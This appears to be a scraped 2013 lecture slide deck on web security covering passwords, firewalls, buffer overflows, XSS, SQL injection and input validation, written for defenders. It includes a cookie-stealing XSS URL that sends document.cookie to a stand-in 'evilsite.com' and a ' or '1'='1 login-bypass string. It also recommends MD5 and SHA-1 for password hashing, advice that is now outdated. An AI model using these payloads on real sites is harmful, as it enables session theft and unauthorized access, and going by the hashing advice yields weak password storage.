Web Security

arghtalentData Management

Jan 31, 2013 (4 years and 4 months ago)

157 views

Web Site Security

Protecting Your Site

General Security


Keep all software patched with the latest updates and virus
definitions


Use an intrusion detection system, but only as a backup


Do not allow users to log into their computers with
Administrator/root account

The Security Mantra


Security is only as strong as the weakest point


e.g. The strongest firewall allowing only HTTP traffic can be
compromised by a web server vulnerability

Web Site Security


A website should enforce strong passwords (e.g. non
-
words,
with numbers and other characters and minimum size)


Weak passwords are a common source of entry into a site


A website should not store passwords in the database in
plaintext (in case of SQL injection attacks)


Passwords can be one
-
way hashed using MD5, SHA
-
1, SHA
-
256, or
SHA
-
512 algorithms


Web Site Security


Do not open a website with additional entry points, such as secret
questions if you forget your password


These are easily compromised using public records (e.g. mother's maiden
name), and bypass passwords


This is especially true for privileged users (this should only happen inside the
firewall)


Do not send passwords via unencrypted transfer


Lockdown login, registration, and passwordReset pages with SSL/TLS


Web Site Security


Enable a firewall to restrict incoming and outgoing traffic


e.g. traffic to NetBIOS, TFTP, & other vulnerable apps


Limit traffic to necessary ports (e.g. SMTP, HTTP)


Whatever traffic gets through your firewall, must itself be secure


Outgoing traffic may come from infected machines


This traffic will give you a heads up about problems


In non
-
Java environments, use a system for checking for buffer overflows


Educate developers on how to check for buffer overflows


Use tools that automatically check buffer boundaries

Web Site Security


Always validate input on the server
-
side, with or without client
-
side
validation


Client
-
side validation is merely for user convenience


In enterprise systems, if components are accessible via the Internet, it is
not adequate to secure the JSPs that (normally) access them


An intruder could bypass the JSPs


EJBs, Web Services, and other components can be secured by associating
them with users or roles


Specific methods within these components can even be associated with high
privileged users

Web Site Security


Be conscious of command injection attacks


There can be many sources: form data, request params/URIs, cookies, post
data, HTTP headers, and even data from your own database


Do not store passwords and secret information in plain view or plaintext


For examples, passwords stored in hidden fields, cookies


Do not trust users to store their own login information


Login information should be stored on the server side


Imagine storing a cookie with a user's username on their own machine
(tampering)

Buffer Overflow Attacks


Consider the following form:


<form action=“search.cgi” method=“post”>


<input type=“text” name=“query” />


<input type=“submit” value=“Search” />

</form>

Buffer Overflow Attacks


When the web server receives this URL, it will evaluate the
web request:


POST search.cgi HTTP/1.0

?query=abc



What if a malicious user submits so much data, that the size
of the memory allocated for the query parameter is exceeded?

Buffer Overflow Attacks


When the data is copied into that buffer, the data leaks into adjacent
memory space


If the data is put onto the stack (as opposed to the heap), the return address
can be overwritten


If a malicious return address can be inserted into this space, some code at that
location will be executed


This is only one method of exploiting a buffer overflow (called stack
-
smashing)


There are many others, including attacks that affect memory on the heap (not
just the stack)

Stack
-
Smashing


Here is an example of a stack
-
smashing attack:


The hacker figures out the size of the buffer (N)


A debugger or trial and error with input can easily achieve this


Now, he/she can enter N characters, followed by an address, followed
by some code


The address refers to the new code added to the stack


It can be fixed by choosing a limit on the data size (e.g.
strncpy()


copies N characters)

Cross Site Scripting (XSS)


Consider the following form:


<form action=“search.jsp”>


<input type=“text” name=“query” />


<input type=“submit” value=“Search” />

</form>

Cross Site Scripting (XSS)


Now, say this form is submitted to a JSP,
which starts like this:


<h2>Searching for ${param.query}</h2>

Cross Site Scripting (XSS)


Normally, such a form will submit to a URL
like this:


http://mysite.com/search.jsp?query=J2EE


Cross Site Scripting (XSS)


Now consider a potential intruder who submits:


http://mysite.com/search.jsp?query=<script language='javascript'>

document.location.replace('http://evilsite.com/stealCookie.jsp?Cookie=' +

document.cookie);</script>



This URL sends some JavaScript code that we did not expect


In this situation, the code will steal a cookie from the attacked page and
send it to another page


Solutions


Validate input to look out for this kind of attack

e.g. look for <script>


Run input through an HTML encoder

e.g. <script>


&lt;script&gt;


Welcome, <c:out value=‘${param.username}’
escapeXml=‘true’ />!

SQL Injection


Consider the following form:


<form action=“login.jsp”>


<input type=“text” name=“login” />


<input type=“password” name=“pwd” />


<input type=“submit” value=“Log In” />

</form>

SQL Injection


Now say this form is submitted to a JSP,
which starts like this:


<sql:query var=‘auth’>

select count(*) from Auth


where username = ‘${param.login}’


and password = ‘${param.pwd}’

</sql:query>

SQL Injection


Normally, such a form will submit to a URL
like this:


Username: bsmith

Password: abcde


http://site.com/login.jsp?login=bsmith&pwd=abcde

SQL Injection


Now consider a potential intruder who
submits:


Username: hacked' or '1'='1

Password: hacked' or '1'='1


http://site.com/login.jsp?login=hacked'+or+'1'='1&pw
d=hacked'+or+'1'='1

SQL Injection


The resulting SQL will look like this:


select count(*) from Auth


where username='hacked' or '1'='1'


and password='hacked' or '1'='1'



The where clause always evaluates to true, so count(*) != 0


Our page will think they've successfully logged in

Solutions


Validate input to look out for this kind of attack (e.g. look for special
characters like ')


Use stored procedures (e.g. PL/SQL) or prepared statements, which
encode the input (preventing special characters like ')


Create a DB account with limited privileges and use that


Do not use ‘scott’ (Oracle), ‘sa’ (SQL Server/Sybase), or ‘admin’
(PostgreSQL) as these would let an intruder see all of your data


These could also let intruders install malicious scripts, execute programs or
modify files on the server


If a less privileged account gets compromised, it will be constrained, so some
data remains protected

Command Injection


Using techniques like these, an intruder could potentially be:


Database fishing: finding tables, columns, and data in databases


Database feeding: adding data to databases (such as login
information)


Bypassing authorization for private/privileged pages


Executing commands or scripts on the server’s operating system


Sending E
-
Mails through the server


Making network connections through the server


Sending personal information to a malicious website (spyware)


Prompting users for secret data (and using it maliciously) within your
site

Input Validation


Command injection usually occurs with non
-
validated input


This emphasizes the importance of input validation


Input validation can also prevent other types of attacks:

e.g. Buffer overflow attacks can be prevented by validating input size

Negative Validation


Negative validation checks for signs of malicious input

e.g. Searching for <script> tags (XSS) or ‘ (SQL Injection)


This kind of validation is weaker, as there could be other
input weaknesses of which you are unaware

e.g. It is possible to perform SQL Injection without a ‘


It is also possible that valid data is rejected


Another possibility is to replace these invalid characters or sequences
with harmless equivalents (escaping, e.g. '


' ')

Positive Validation


Positive validation ensures that the data is of the appropriate
type


Say we have a form that expects an E
-
Mail address


We should validate this data to ensure that it actually contains an E
-
Mail address

e.g. Regular expression: [
\
w]+@[
\
w]+(
\
.[
\
w]+)+


It is also possible that valid data is rejected, so the regular
expression should be tweaked to allow all valid E
-
Mail
addresses


Positive validation is generally considered better:


It can catch other errors (e.g. special SQL characters you don’t know
about like ‘
--
’)


It also ensures that user data is in the correct format (users could be
notified that they entered incorrect data)